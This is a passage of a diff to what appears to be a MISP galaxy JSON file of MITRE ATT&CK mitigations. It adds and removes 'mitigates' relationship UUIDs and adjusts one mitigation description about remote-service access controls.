"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -948,6 +892,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433", @@ -1032,7 +983,22 @@ "https://attack.mitre.org/mitigations/M1007" ] }, - "related": [], + "related": [ + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9", "value": "Caution with Device Administrator Access - M1007" }, @@ -1168,6 +1134,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "06780952-177c-4247-b978-79c357fb311f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ @@ -1399,6 +1372,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ @@ -1581,13 +1561,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", "tags": [ @@ -2533,13 +2506,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ @@ -2554,13 +2520,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ @@ -2673,13 +2632,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "tags": [ @@ -2694,13 +2646,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ @@ -2764,13 +2709,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "tags": [ @@ -2860,27 +2798,6 @@ ] }, "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", "tags": [ @@ -2888,13 +2805,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", "tags": [ @@ -2903,28 +2813,42 @@ "type": "mitigates" }, { - "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2959,49 +2883,63 @@ "type": "mitigates" }, { - "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", + "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", + "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3015,7 +2953,7 @@ "type": "mitigates" }, { - "dest-uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3035,13 +2973,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -3057,35 +2988,35 @@ "type": "mitigates" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "dest-uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4057,7 +3988,7 @@ "value": "Remote Access Tools Mitigation - T1219" }, { - "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", "meta": { "external_id": "T1133", "refs": [ @@ -4983,49 +4914,7 @@ }, "related": [ { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5143,7 +5032,49 @@ }, "related": [ { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "dest-uuid": "393e8c12-a416-4575-ba90-19cc85656796", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5230,21 +5161,7 @@ }, "related": [ { - "dest-uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5257,6 +5174,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -5265,35 +5189,7 @@ "type": "mitigates" }, { - "dest-uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8252f135-ed26-4ce1-ae61-f26e94429a19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5489,13 +5385,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "59ff91cd-1430-4075-8563-e6f15f4f9ff5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ @@ -6240,7 +6129,15 @@ "https://attack.mitre.org/mitigations/T1150" ] }, - "related": [], + "related": [ + { + "dest-uuid": "06780952-177c-4247-b978-79c357fb311f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], "uuid": "2d704e56-e689-4011-b989-bf4e025a8727", "value": "Plist Modification Mitigation - T1150" }, @@ -6452,13 +6349,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", "tags": [ @@ -6487,13 +6377,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7", "tags": [ @@ -6508,6 +6391,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ @@ -6634,6 +6524,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ @@ -6655,13 +6552,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4", "tags": [ @@ -6704,13 +6594,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", "tags": [ @@ -6809,13 +6692,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", "tags": [ @@ -6858,13 +6734,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "tags": [ @@ -7047,13 +6916,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "tags": [ @@ -7288,13 +7150,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", "tags": [ @@ -7379,13 +7234,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", "tags": [ @@ -8292,13 +8140,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d50955c2-272d-4ac8-95da-10c29dda1c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", "tags": [ @@ -8556,13 +8397,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ @@ -8612,13 +8446,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", "tags": [ @@ -8905,13 +8732,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ @@ -9271,13 +9091,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ @@ -9452,13 +9265,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "59ff91cd-1430-4075-8563-e6f15f4f9ff5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ @@ -10345,7 +10151,15 @@ "https://support.apple.com/en-us/HT204005" ] }, - "related": [], + "related": [ + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885", "value": "Login Item Mitigation - T1162" }, @@ -11057,13 +10871,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "tags": [ @@ -11078,13 +10885,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - 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- { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12112,7 +12221,7 @@ "type": "mitigates" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12126,56 +12235,7 @@ "type": "mitigates" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": 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"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", "tags": [ @@ -12208,13 +12261,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -12223,7 +12269,21 @@ "type": "mitigates" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12243,27 +12303,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ @@ -12271,13 +12310,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", "tags": [ @@ -12285,26 +12317,12 @@ ], "type": "mitigates" }, - { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee", @@ -12321,14 +12339,14 @@ }, "related": [ { - "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12372,13 +12390,6 @@ ] }, "related": [ - { - "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0ad7bc5c-235a-4048-944b-3b286676cb74", "tags": [ @@ -12491,13 +12502,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", "tags": [ @@ -12810,6 +12814,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", "tags": [ @@ -12838,6 +12849,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", "tags": [ @@ -12908,13 +12926,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ @@ -13458,13 +13469,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d50955c2-272d-4ac8-95da-10c29dda1c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ @@ -13493,13 +13497,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "fc74ba38-dc98-461f-8611-b3dbf9978e3d", "tags": [ @@ -14480,13 +14477,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "tags": [ - 